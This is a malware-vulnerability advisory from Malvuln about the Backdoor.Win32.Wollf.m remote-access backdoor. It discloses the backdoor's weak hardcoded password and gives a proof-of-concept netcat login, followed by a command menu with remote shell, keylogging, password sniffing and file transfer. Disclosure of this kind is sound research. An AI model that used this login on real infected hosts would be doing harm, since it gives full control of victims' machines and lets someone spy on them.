Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Wollf.m Vulnerability: Weak Hardcoded Password Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "alfaromeo" is weak and hardcoded within the executable and appears many times in a database of leaked passwords. Type: PE32 MD5: b125a9a083447ad7d437e3e7f3ed5325 Vuln ID: MVID-2021-0435 Dropped files: wrm.exe Disclosure: 12/31/2021 Exploit/PoC: nc64.exe x.x.x.x 55555 login: alfaromeo Login succeed! "Wollf Remote Manager" v1.6 Code by wollf, http://www.xfocus.org [DESKTOP-2C3IQHO@C:\WINDOWS\system32]#help DOS Switch to MS-DOS prompt DIR/LS/LIST Directory and file list CD Entry directory MD/MKDIR Make directory PWD Get current dirctory COPY/CP Copy file DEL/RM Delete directory/file REN/RENAME Rename file MOVE/MV Move file TYPE/CAT Type text file POPMSG Popup message box SYSINFO Get system information WHO/W Get current connections SHELL Execute command by system shell(cmd.exe) EXEC/RUN Execute file by windows API(WinExec) WS Windows list PS Process list KILL Kill process GET/GETFILE Download file from remote machine PUT/PUTFILE Upload file to remote machine WGET Get file from web server FGET Get file from ftp server FPUT Put file to ftp server TELNET Connect to other host FTPD Start ftp service TELNETD/TELD/EXPORT Start telnet service (export shell) REDIR Redirect tcp data from <Port> to <Dest_host:Dest_port> REDIR_STOP Stop redirect tcp data SNIFF Sniff ftp/smtp/pop3/http password what via ethernet SNIFF_STOP Stop ethernet sniffer KEYLOG Start keyboard record KEYLOG_STOP Stop keyboard record REBOOT Reboot windows SHUTDOWN Shutdown windows EXIT Close current connection QUIT Close all connection and abort service REMOVE Remove service VER/VERSION Version information HELP/H/? Show help message Type "HELP | MORE" for multipage display. Command "HELP" succeed. [DESKTOP-2C3IQHO@C:\WINDOWS\system32]# Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).